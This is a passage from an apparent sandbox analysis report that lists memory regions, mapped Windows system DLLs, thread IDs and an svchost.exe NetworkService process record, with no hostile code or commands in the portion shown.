	        filename = ""

Region:
	              id = 2995
	        start_va = 0x2389b00000
	          end_va = 0x2389bfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002389b00000"
	        filename = ""

Region:
	              id = 2996
	        start_va = 0x2389c00000
	          end_va = 0x2389cfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002389c00000"
	        filename = ""

Region:
	              id = 2997
	        start_va = 0x2389d00000
	          end_va = 0x2389dfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002389d00000"
	        filename = ""

Region:
	              id = 2998
	        start_va = 0x2389e00000
	          end_va = 0x2389efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002389e00000"
	        filename = ""

Region:
	              id = 2999
	        start_va = 0x2389f00000
	          end_va = 0x2389ffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002389f00000"
	        filename = ""

Region:
	              id = 3000
	        start_va = 0x238a000000
	          end_va = 0x238a0fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000238a000000"
	        filename = ""

Region:
	              id = 3001
	        start_va = 0x238a800000
	          end_va = 0x238a8fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000238a800000"
	        filename = ""

Region:
	              id = 3002
	        start_va = 0x238a900000
	          end_va = 0x238a9fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000238a900000"
	        filename = ""

Region:
	              id = 3003
	        start_va = 0x238aa00000
	          end_va = 0x238aadefff
	     entry_point = 0x238aa00000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 3004
	        start_va = 0x238aae0000
	          end_va = 0x238abdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000238aae0000"
	        filename = ""

Region:
	              id = 3005
	        start_va = 0x238abe0000
	          end_va = 0x238acdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000238abe0000"
	        filename = ""

Region:
	              id = 3006
	        start_va = 0x238ace0000
	          end_va = 0x238addffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000238ace0000"
	        filename = ""

Region:
	              id = 3007
	        start_va = 0x238ae00000
	          end_va = 0x238aefffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000238ae00000"
	        filename = ""

Region:
	              id = 3008
	        start_va = 0x238af00000
	          end_va = 0x238affffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000238af00000"
	        filename = ""

Region:
	              id = 3009
	        start_va = 0x238b000000
	          end_va = 0x238b7fffff
	     entry_point = 0x238b000000
	     region_type = mapped_file
	            name = "~fontcache-s-1-5-21-1462094071-1423818996-289466292-1000.dat"
	        filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-S-1-5-21-1462094071-1423818996-289466292-1000.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-s-1-5-21-1462094071-1423818996-289466292-1000.dat")

Region:
	              id = 3010
	        start_va = 0x7df5ff2c0000
	          end_va = 0x7ff5ff2bffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff2c0000"
	        filename = ""

Region:
	              id = 3011
	        start_va = 0x7ff7b3328000
	          end_va = 0x7ff7b3329fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3328000"
	        filename = ""

Region:
	              id = 3012
	        start_va = 0x7ff7b332a000
	          end_va = 0x7ff7b332bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b332a000"
	        filename = ""

Region:
	              id = 3013
	        start_va = 0x7ff7b332c000
	          end_va = 0x7ff7b332dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b332c000"
	        filename = ""

Region:
	              id = 3014
	        start_va = 0x7ff7b332e000
	          end_va = 0x7ff7b332ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b332e000"
	        filename = ""

Region:
	              id = 3015
	        start_va = 0x7ff7b3330000
	          end_va = 0x7ff7b3331fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3330000"
	        filename = ""

Region:
	              id = 3016
	        start_va = 0x7ff7b3332000
	          end_va = 0x7ff7b3333fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3332000"
	        filename = ""

Region:
	              id = 3017
	        start_va = 0x7ff7b3334000
	          end_va = 0x7ff7b3335fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3334000"
	        filename = ""

Region:
	              id = 3018
	        start_va = 0x7ff7b3336000
	          end_va = 0x7ff7b3337fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3336000"
	        filename = ""

Region:
	              id = 3019
	        start_va = 0x7ff7b3338000
	          end_va = 0x7ff7b3339fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3338000"
	        filename = ""

Region:
	              id = 3020
	        start_va = 0x7ff7b333a000
	          end_va = 0x7ff7b333bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b333a000"
	        filename = ""

Region:
	              id = 3021
	        start_va = 0x7ff7b333c000
	          end_va = 0x7ff7b333dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b333c000"
	        filename = ""

Region:
	              id = 3022
	        start_va = 0x7ff7b333e000
	          end_va = 0x7ff7b333ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b333e000"
	        filename = ""

Region:
	              id = 3023
	        start_va = 0x7ff7b3340000
	          end_va = 0x7ff7b3341fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3340000"
	        filename = ""

Region:
	              id = 3024
	        start_va = 0x7ff7b3342000
	          end_va = 0x7ff7b3343fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3342000"
	        filename = ""

Region:
	              id = 3025
	        start_va = 0x7ff7b3346000
	          end_va = 0x7ff7b3347fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3346000"
	        filename = ""

Region:
	              id = 3026
	        start_va = 0x7ff7b3348000
	          end_va = 0x7ff7b3349fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3348000"
	        filename = ""

Region:
	              id = 3027
	        start_va = 0x7ff7b334a000
	          end_va = 0x7ff7b334bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b334a000"
	        filename = ""

Region:
	              id = 3028
	        start_va = 0x7ff7b334c000
	          end_va = 0x7ff7b334dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b334c000"
	        filename = ""

Region:
	              id = 3029
	        start_va = 0x7ff7b334e000
	          end_va = 0x7ff7b334ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b334e000"
	        filename = ""

Region:
	              id = 3030
	        start_va = 0x7ff7b3350000
	          end_va = 0x7ff7b344ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b3350000"
	        filename = ""

Region:
	              id = 3031
	        start_va = 0x7ff7b3450000
	          end_va = 0x7ff7b3472fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b3450000"
	        filename = ""

Region:
	              id = 3032
	        start_va = 0x7ff7b3473000
	          end_va = 0x7ff7b3474fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3473000"
	        filename = ""

Region:
	              id = 3033
	        start_va = 0x7ff7b3475000
	          end_va = 0x7ff7b3475fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3475000"
	        filename = ""

Region:
	              id = 3034
	        start_va = 0x7ff7b3476000
	          end_va = 0x7ff7b3477fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3476000"
	        filename = ""

Region:
	              id = 3035
	        start_va = 0x7ff7b3478000
	          end_va = 0x7ff7b3479fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3478000"
	        filename = ""

Region:
	              id = 3036
	        start_va = 0x7ff7b347a000
	          end_va = 0x7ff7b347bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b347a000"
	        filename = ""

Region:
	              id = 3037
	        start_va = 0x7ff7b347e000
	          end_va = 0x7ff7b347ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b347e000"
	        filename = ""

Region:
	              id = 3038
	        start_va = 0x7ff7b3dc0000
	          end_va = 0x7ff7b3dccfff
	     entry_point = 0x7ff7b3dc0000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 3039
	        start_va = 0x7ffbf2590000
	          end_va = 0x7ffbf25a1fff
	     entry_point = 0x7ffbf2590000
	     region_type = mapped_file
	            name = "bitsproxy.dll"
	        filename = "\\Windows\\System32\\BitsProxy.dll" (normalized: "c:\\windows\\system32\\bitsproxy.dll")

Region:
	              id = 3040
	        start_va = 0x7ffbf6ee0000
	          end_va = 0x7ffbf6efdfff
	     entry_point = 0x7ffbf6ee0000
	     region_type = mapped_file
	            name = "bluetoothapis.dll"
	        filename = "\\Windows\\System32\\BluetoothApis.dll" (normalized: "c:\\windows\\system32\\bluetoothapis.dll")

Region:
	              id = 3041
	        start_va = 0x7ffbf6f00000
	          end_va = 0x7ffbf6f0cfff
	     entry_point = 0x7ffbf6f00000
	     region_type = mapped_file
	            name = "bthtelemetry.dll"
	        filename = "\\Windows\\System32\\BthTelemetry.dll" (normalized: "c:\\windows\\system32\\bthtelemetry.dll")

Region:
	              id = 3042
	        start_va = 0x7ffbf6f10000
	          end_va = 0x7ffbf6f27fff
	     entry_point = 0x7ffbf6f10000
	     region_type = mapped_file
	            name = "bthradiomedia.dll"
	        filename = "\\Windows\\System32\\BthRadioMedia.dll" (normalized: "c:\\windows\\system32\\bthradiomedia.dll")

Region:
	              id = 3043
	        start_va = 0x7ffbf6f30000
	          end_va = 0x7ffbf6f43fff
	     entry_point = 0x7ffbf6f30000
	     region_type = mapped_file
	            name = "wlanradiomanager.dll"
	        filename = "\\Windows\\System32\\WlanRadioManager.dll" (normalized: "c:\\windows\\system32\\wlanradiomanager.dll")

Region:
	              id = 3044
	        start_va = 0x7ffbf7b30000
	          end_va = 0x7ffbf7b3dfff
	     entry_point = 0x7ffbf7b30000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 3045
	        start_va = 0x7ffbf9230000
	          end_va = 0x7ffbf9247fff
	     entry_point = 0x7ffbf9230000
	     region_type = mapped_file
	            name = "perftrack.dll"
	        filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll")

Region:
	              id = 3046
	        start_va = 0x7ffbf92c0000
	          end_va = 0x7ffbf934cfff
	     entry_point = 0x7ffbf92c0000
	     region_type = mapped_file
	            name = "netprofmsvc.dll"
	        filename = "\\Windows\\System32\\netprofmsvc.dll" (normalized: "c:\\windows\\system32\\netprofmsvc.dll")

Region:
	              id = 3047
	        start_va = 0x7ffbf99c0000
	          end_va = 0x7ffbf9a1efff
	     entry_point = 0x7ffbf99c0000
	     region_type = mapped_file
	            name = "wlanapi.dll"
	        filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll")

Region:
	              id = 3048
	        start_va = 0x7ffbf9f50000
	          end_va = 0x7ffbf9f59fff
	     entry_point = 0x7ffbf9f50000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 3049
	        start_va = 0x7ffbf9f60000
	          end_va = 0x7ffbf9f7cfff
	     entry_point = 0x7ffbf9f60000
	     region_type = mapped_file
	            name = "wdi.dll"
	        filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll")

Region:
	              id = 3050
	        start_va = 0x7ffbfbb40000
	          end_va = 0x7ffbfbc15fff
	     entry_point = 0x7ffbfbb40000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 3051
	        start_va = 0x7ffbfbe40000
	          end_va = 0x7ffbfbe75fff
	     entry_point = 0x7ffbfbe40000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 3052
	        start_va = 0x7ffbfcfa0000
	          end_va = 0x7ffbfcfb9fff
	     entry_point = 0x7ffbfcfa0000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 3053
	        start_va = 0x7ffbfcfc0000
	          end_va = 0x7ffbfcfd5fff
	     entry_point = 0x7ffbfcfc0000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 3054
	        start_va = 0x7ffbfd170000
	          end_va = 0x7ffbfd17bfff
	     entry_point = 0x7ffbfd170000
	     region_type = mapped_file
	            name = "nsisvc.dll"
	        filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll")

Region:
	              id = 3055
	        start_va = 0x7ffbfd3d0000
	          end_va = 0x7ffbfd3f8fff
	     entry_point = 0x7ffbfd3d0000
	     region_type = mapped_file
	            name = "fontprovider.dll"
	        filename = "\\Windows\\System32\\FontProvider.dll" (normalized: "c:\\windows\\system32\\fontprovider.dll")

Region:
	              id = 3056
	        start_va = 0x7ffbfd400000
	          end_va = 0x7ffbfd5a3fff
	     entry_point = 0x7ffbfd400000
	     region_type = mapped_file
	            name = "fntcache.dll"
	        filename = "\\Windows\\System32\\FntCache.dll" (normalized: "c:\\windows\\system32\\fntcache.dll")

Region:
	              id = 3057
	        start_va = 0x7ffbfdb00000
	          end_va = 0x7ffbfdb79fff
	     entry_point = 0x7ffbfdb00000
	     region_type = mapped_file
	            name = "es.dll"
	        filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll")

Region:
	              id = 3058
	        start_va = 0x7ffbfdc20000
	          end_va = 0x7ffbfdc37fff
	     entry_point = 0x7ffbfdc20000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 3059
	        start_va = 0x7ffbfe0d0000
	          end_va = 0x7ffbfe0dafff
	     entry_point = 0x7ffbfe0d0000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 3060
	        start_va = 0x7ffbfe0f0000
	          end_va = 0x7ffbfe127fff
	     entry_point = 0x7ffbfe0f0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 3061
	        start_va = 0x7ffbff210000
	          end_va = 0x7ffbff236fff
	     entry_point = 0x7ffbff210000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 3062
	        start_va = 0x7ffbff7c0000
	          end_va = 0x7ffbff7e2fff
	     entry_point = 0x7ffbff7c0000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 3063
	        start_va = 0x7ffbffdc0000
	          end_va = 0x7ffbffdf2fff
	     entry_point = 0x7ffbffdc0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 3064
	        start_va = 0x7ffbfff10000
	          end_va = 0x7ffbfffb7fff
	     entry_point = 0x7ffbfff10000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 3065
	        start_va = 0x7ffc00110000
	          end_va = 0x7ffc0016cfff
	     entry_point = 0x7ffc00110000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 3066
	        start_va = 0x7ffc00170000
	          end_va = 0x7ffc00186fff
	     entry_point = 0x7ffc00170000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 3067
	        start_va = 0x7ffc002e0000
	          end_va = 0x7ffc002eafff
	     entry_point = 0x7ffc002e0000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 3068
	        start_va = 0x7ffc006c0000
	          end_va = 0x7ffc006e7fff
	     entry_point = 0x7ffc006c0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 3069
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 3070
	        start_va = 0x7ffc00760000
	          end_va = 0x7ffc007f7fff
	     entry_point = 0x7ffc00760000
	     region_type = mapped_file
	            name = "sxs.dll"
	        filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll")

Region:
	              id = 3071
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 3072
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 3073
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 3074
	        start_va = 0x7ffc00f70000
	          end_va = 0x7ffc00fb3fff
	     entry_point = 0x7ffc00f70000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 3075
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 3076
	        start_va = 0x7ffc01540000
	          end_va = 0x7ffc015e4fff
	     entry_point = 0x7ffc01540000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 3077
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 3078
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 3079
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 3080
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 3081
	        start_va = 0x7ffc02050000
	          end_va = 0x7ffc02057fff
	     entry_point = 0x7ffc02050000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 3082
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 3083
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 3084
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 3085
	        start_va = 0x7ffc03980000
	          end_va = 0x7ffc039e8fff
	     entry_point = 0x7ffc03980000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 3086
	        start_va = 0x7ffc03bb0000
	          end_va = 0x7ffc03cf0fff
	     entry_point = 0x7ffc03bb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 3087
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 3088
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 3089
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")


Thread:
	id = 306
	os_tid = 0xffc


Thread:
	id = 307
	os_tid = 0x7e0


Thread:
	id = 308
	os_tid = 0x72c


Thread:
	id = 309
	os_tid = 0x700


Thread:
	id = 310
	os_tid = 0x6e8


Thread:
	id = 311
	os_tid = 0x6d0


Thread:
	id = 312
	os_tid = 0x6cc


Thread:
	id = 313
	os_tid = 0x6a4


Thread:
	id = 314
	os_tid = 0x6a0


Thread:
	id = 315
	os_tid = 0x69c


Thread:
	id = 316
	os_tid = 0x690


Thread:
	id = 317
	os_tid = 0x68c


Thread:
	id = 318
	os_tid = 0x678


Thread:
	id = 319
	os_tid = 0x5bc


Thread:
	id = 320
	os_tid = 0x5b0


Thread:
	id = 321
	os_tid = 0x5a8


Thread:
	id = 322
	os_tid = 0x41c


Thread:
	id = 323
	os_tid = 0x128


Thread:
	id = 324
	os_tid = 0x12c


Thread:
	id = 325
	os_tid = 0x120


Thread:
	id = 326
	os_tid = 0x3fc


Thread:
	id = 327
	os_tid = 0x3ec


Thread:
	id = 328
	os_tid = 0x3e8


Thread:
	id = 329
	os_tid = 0x3e4


Thread:
	id = 330
	os_tid = 0x388


Process:
	id = "15"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x1f432000"
	os_pid = "0x264"
	os_integrity_level = "0x4000"
	os_privileges = "0x60a00000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0x1e4"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Network Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000fbaa" [0xc000000f], "LOCAL" [0x7]

Region:
	              id = 2261
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2262
	        start_va = 0xad80000000
	          end_va = 0xad8fffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000ad80000000"
	        filename = ""

Region:
	              id = 2263
	        start_va = 0xadbbf30000
	          end_va = 0xadbbf3ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbbf30000"
	        filename = ""

Region:
	              id = 2264
	        start_va = 0xadbbf40000
	          end_va = 0xadbbf40fff
	     entry_point = 0xadbbf40000
	     region_type = mapped_file
	            name = "svchost.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui")

Region:
	              id = 2265
	        start_va = 0xadbbf50000
	          end_va = 0xadbbf63fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbbf50000"
	        filename = ""

Region:
	              id = 2266
	        start_va = 0xadbbf70000
	          end_va = 0xadbbfeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbbf70000"
	        filename = ""

Region:
	              id = 2267
	        start_va = 0xadbbff0000
	          end_va = 0xadbbff3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbbff0000"
	        filename = ""

Region:
	              id = 2268
	        start_va = 0xadbc000000
	          end_va = 0xadbc000fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbc000000"
	        filename = ""

Region:
	              id = 2269
	        start_va = 0xadbc010000
	          end_va = 0xadbc011fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbc010000"
	        filename = ""

Region:
	              id = 2270
	        start_va = 0xadbc020000
	          end_va = 0xadbc0ddfff
	     entry_point = 0xadbc020000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2271
	        start_va = 0xadbc0e0000
	          end_va = 0xadbc0e6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbc0e0000"
	        filename = ""

Region:
	              id = 2272
	        start_va = 0xadbc0f0000
	          end_va = 0xadbc0f0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbc0f0000"
	        filename = ""

Region:
	              id = 2273
	        start_va = 0xadbc100000
	          end_va = 0xadbc1fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbc100000"
	        filename = ""

Region:
	              id = 2274
	        start_va = 0xadbc280000
	          end_va = 0xadbc33ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbc280000"
	        filename = ""

Region:
	              id = 2275
	        start_va = 0xadbc340000
	          end_va = 0xadbc340fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbc340000"
	        filename = ""

Region:
	              id = 2276
	        start_va = 0xadbc350000
	          end_va = 0xadbc3cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000adbc350000"
	        filename = ""

Region:
	              id = 2277
	        start_va = 0xadbc3d0000
	          end_va = 0xadbc3d0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000adbc3d0000"
	        filename = ""

Region:
	              id = 2278
